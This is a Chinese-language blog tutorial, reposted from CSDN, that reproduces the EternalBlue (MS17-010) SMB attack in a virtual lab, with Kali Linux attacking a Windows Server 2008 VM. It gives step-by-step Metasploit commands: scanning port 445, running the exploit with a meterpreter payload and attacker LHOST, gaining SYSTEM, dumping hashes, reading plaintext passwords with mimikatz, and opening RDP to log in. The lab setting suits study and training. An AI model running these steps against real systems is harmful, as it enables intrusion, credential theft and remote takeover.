飞道的博客

利用虚拟机复现漏洞 “永恒之蓝”

243人阅读  评论(0)

利用虚拟机复现漏洞“永恒之蓝”

攻击:kali Linux 2020.3
靶机:Windows Server 2008 R2 x64
下面详细讲述测试的过程。

——
——

“ 永恒之蓝 ”简介

利用 Windows 系统的 SMB 漏洞可以获取系统最高权限。于 2017 年在全球的范围内大面积爆发,不法分子利用这个漏洞制作了勒索病毒,锁定被攻击的设备,并要求支付高额赎金。
“ 永恒之蓝 ”的原理主要是扫描所有开放 445 文件共享端口的 Windows 机器。

这里进行测试要用到一个工具 MSF ,能快速对目标实现“永恒之蓝”攻击,获取目标对主机的最高权限。

——
——

Metasploit(MSF)简介

Metasploit 是一个免费的、可下载的框架,可以很容易地获取、开发并对计算机软件漏洞实施攻击。
本身附带数千个已知软件漏洞的专业级漏洞攻击工具,当 2003 年 Metasploit 发布时,计算机安全状况就被永久性地改变了,仿佛一夜之间任何人都可以成为黑客。

——

Metasploit 模块介绍

  • Auxiliary 辅助模块
    为渗透信息提供了大量的辅助模块支持

  • Exploits 攻击模块
    利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,从而获得对远程目标系统访问权的代码组件

  • Payload 攻击载荷模块
    攻击成功后促使靶机运行的一段植入代码

  • Post 后渗透攻击模块
    收集更多信息或进一步访问被利用的目标系统

  • Encoders 编码模块
    将攻击载荷进行编码,来绕过防护软件拦截

——
——

测试漏洞前的准备

连接数据库

kali Linux 中自带 msf 工具。
先开启 postgresql 服务,虽然不那么重要,不过开了之后,可以使用的命令更多。
开启数据库:

service postgresql start

postgresql 也是 kali 机里自带的。
第一次用 postgresql 的话,要进行一些设置。

先登录控制台:

sudo -u postgres psql

----------------------------------------------------------M------------------------------------------------------

这里我一开始使用不了 postgresql 的命令,找了很多解决方法无效,结果发现是语言的问题,我之前把 kali 的语言环境手动设置成了中文,即选择了 zh_CN.UTF8 编码,删除了 en_US.UTF8 的编码,导致现在数据库和系统的语言环境不匹配,出现如下图这样的报错。解决就是把 en_US.UTF8 编码加回来即可。

----------------------------------------------------------W--------------------------------------------------------

然后
修改密码

CREATE USER admin WITH PASSWORD ‘psql’ NOCREATEDB;

其中用户名 admin 和单引号中的密码 psql 根据自己写。
成功则返回 CREATE ROLE

创建新用户

CREATE DATABASE msf OWNER admin;

成功则返回 CREATE DATABASE

设置好输入 exit 退出 postgresql 控制台即可。

接下来
开启 msf 控制台:

msfconsole

开启之后看到中间有个图案,这个是随机的,不一定是什么图案。
同时也可以看到我们 metasploit 的版本。
以及这个版本所含有的各模块的数量,比如 2045 个 exploits 模块。

msf 连接 postgresql 数据库

db_connect admin:psql@127.0.0.1/msf

并检测是否连接上:

db_status

以后打开并连接数据库的步骤就不用创建用户了,三个步骤走:

开启数据库:service postgresql start
开启 msf 控制台:msfconsole
连接 postgresql 数据库 :db_connect admin:psql@127.0.0.1/msf

--------------------------------------------------------------M---------------------------------------------------------

还有另一个一个方法是前面不进行创建新用户和连接数据库,使用 service postgresql start 之后,再直接用命令 msfdb init 初始化数据库,会自动创建用户名等信息,应该也是可行的。
--------------------------------------------------------------W---------------------------------------------------------

——

msf帮助手册

输入 可以查看 msf 的帮助手册,可以看到有很多命令,我们后面会用到的都在这下面可以看到。

Core Commands :核心命令

Module Commands :模块命令

Job Commands:工作命令

Resource Script Command :脚本命令

Database Backend Commands :数据库命令

这就是为什么前面要开启数据库的原因。
如果没开启数据库,这些命令就用不了。

还有一些发展命令之类的,最后还有一些使用教程。

——
——

进入“永恒之蓝”模块

接下来用 search 命令搜索一下“ 永恒之蓝 ”。
search 就像搜索引擎的功能,可以根据关键字进行搜索。
命令:

search ms17-010

(ms17-010 是“ 永恒之蓝 ”的漏洞编号)
可以看到根据关键字搜索到的结果,前面有编号,跟着名称,名称第一个关键字可以看到是 auxiliary 辅助模块或者是 exploit 攻击模块。搜索到了 2 条辅助模块和 3 条攻击模块。

使用某个模块有两种方法,一个是用 use 接搜索结果中的编号,一个是接名称。
这里要用到上图中编号为 1 的模块,则使用命令为:

use 1

use auxiliary/scanner/smb/smb_ms17_010

可以看到这样就进入到这个模块里了。

然后用命令 options 查看我们需要设置什么。
看 Required 一栏中,一般我们要关注的是状态为 yes 的选项,状态为 no 的选项保持默认即可。

这里我们需要注意 RHOST 、RPORT、NAMED_PIPES 、THREADS 这两项。
NAMED_PIPES 路径已经设置好了。
RPORT :445端口
永恒之蓝就是由于 445 端口上的文件共享服务导致的漏洞。
如果文件共享端口被修改了,则这里的这个端口信息也需要进行修改。
THREADS 线程,我们这里测试一个目标,所以一个线程就够了。
RHOSTS :目标主机的地址。

——
——

使用 msf “永恒之蓝”模块

接下来就进行攻击了。
这里用 Windows Server 2008 作为目标测试。

先用命令 ping www.baidu.com 检查一下网络。
没问题之后再看看靶机的 IP ,同时也检查一下靶机的网络。

再从 kali 机 ping 一下靶机 IP,即看下面有没有 64 byte 出现。
一开始我这里 ping 不通,原因是 Windows Server 2008 靶机的防火墙没关,关闭防火墙之后就能连通了。

然后可以用调取 nmap 的命令扫描一下目标的 445 端口有没有开放:

db_nmap 192.168.226.131 -p 445 -v

扫描结果可以看到,445 端口是开放的,服务也对应地上,是微软上的文件共享服务(microsoft-ds)。

——
——

auxiliary 辅助模块使用

前面的 RHOSTS 目标地址还是空的,需要进行设置一下。
这里用一个快速的方法,先用 hosts 命令可以看到我们的目标地址。

然后用命令:

hosts -R

直接让这个 RHOSTS 指向了这个地址。

或者用 set 命令:

set rhost 192.168.226.131

用 iptions 命令验证一下,看到已经设置成功了。

准备都已经做好了,可以用命令 run 直接执行我们已经进入了的这个辅助扫描模块(auxiliary(scanner/smb/smb_ms17_010))。
可以看到扫描结果显示目标很有可能存在 MS17-010 这个漏洞的,并显示了目标的操作系统版本。

——
——

expolit 攻击模块使用

到这里辅助模块的任务就完成了,已经确认了目标非常有可能存在这个漏洞。
接下来就进入 exploit 攻击模块,重新回到上面,选择这个编号为 2 的模块。

使用命令 use 2 进入这个模块,可以看到还默认设置了一个 payload 。

如果没有自动设置 payload 的话,需要手动设置一下。
使用命令 show payloads 就可以看到很多 payload 需要进行进行选择。
进行筛选,定位到 Windows 64 位操作系统;
如果有 meterpreter 就选择这个,功能比较强大;
然后 payload 后面的连接方式,这里选择 tcp 的。

选择好之后,进行设置 payload :

set payload windows/x64/meterpreter

然后用命令 options 看看刚刚进入的 exploit 攻击模块需要我们设置准备写什么。
有目标地址、目标端口、本地地址等信息。

同样用 hosts -R 设置目标地址。

看哪里没设置好就设置哪里。
比如如果这里本地地址是空的,就用命令设置 LHOST

set lhost 192.168.226.128

设置好之后,用命令 run 执行我们刚刚进入的这个攻击模块。

这样,就已经成功攻击了。当然,不一定每次都攻击成功,可能会不稳定。
目标也会有自我保护的可能,攻击过程中可能直接把目标干关机或者蓝屏。
为了方便,在这样的情况下,可以先在虚拟机提前设置快照,如果被打得关机提醒了,就恢复到前面的快照。

——
——

攻击成功后的命令测试

查看权限

可以看看我们当前在目标机器的权限:

getuid

可以看到已经是 system 系统权限了。

可以说是想干嘛就干嘛了,可以在这里执行命令随意地操作目标机器。
试试进入 shell
可以看到执行之后的样子,很熟悉:C:\Windows\system32>
就是我们常用的 cmd 命令窗口,在这里直接用 cmd 命令窗口操作目标。
(编码导致的中文乱码可忽略)

看看此时的权限,同样是 system 系统权限。

exit 命令退出回到 meterpreter 。

输入 ? 可以查看帮助文档,有很多的命令,这里就不多说了。

——
——

获取目标用户密码

比如这里用帮助文档中的 hashdump 命令查看目标的密码。
密码可以用 md5 在线解码网址解出来。

如果太复杂也可能解不出来,可以通过加载 mimikatz 读取明文密码:

load mimikatz

加载成功后使用命令 wdigest 直接读取密码。
可以看到读取到了用户名为 Administrator 的密码为 2008Server
这个的确是我在目标机器上设置的密码。
同时也可以看到这条命令的执行是需要 system 系统权限的。

——
——

远程连接测试

有了用户名和密码就可以直接登录到目标的服务器了。
这里测试一下用远程连接服务登录。
先看看远程连接服务的端口是否开放。

db_nmap 192.168.226.131 -p 3389

看到 3389 端口是关闭的。

如果忘记具体改端口的命令,用关键字搜索一下。

使用命令 use ‘编号’ 进入这个模块;
命令 options 查看哪些信息需要设置,session 项即后台的哪个进程,因为刚刚我们退出了 meterpreter ,是用 background 命令把它放在了后台会话。(后面再说明一下这 background 命令)
命令 set session 1 设置。

命令 run 执行这个刚刚进入开端口的模块。
执行后再看看 3389 端口已经开放了。

选择就可以进行远程登录了,这里我新开一个命令行。
输入:

rdesktop 192.168.226.131

输入 yes ,就打开了远程连接的窗口。

用我们刚刚得到的用户名和密码登录,可以看到就成功登录进入到目标系统了。

同时,本来处于登录状态的目标也被挤下线了。

我这里是在 kali 机中进行远程登录,在知道了用户名密码,3389端口开发的情况下,在物理机 Windows 上等其它电脑上都可以登录。

--------------------------------------------------------------M---------------------------------------------------------

background 命令
可以用 background 命令让当前命令在后台,刚才的会话会保存下来。
用命令 sessions 查看当前的会话,根据 id 可以重新进入,如 sessions 1 重新进入 meterpreter 攻击。

--------------------------------------------------------------W---------------------------------------------------------

到这里,进行漏洞攻击的测试就结束了!
总结:有些坑不得不踩!


转载:https://blog.csdn.net/Goodric/article/details/116561100
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场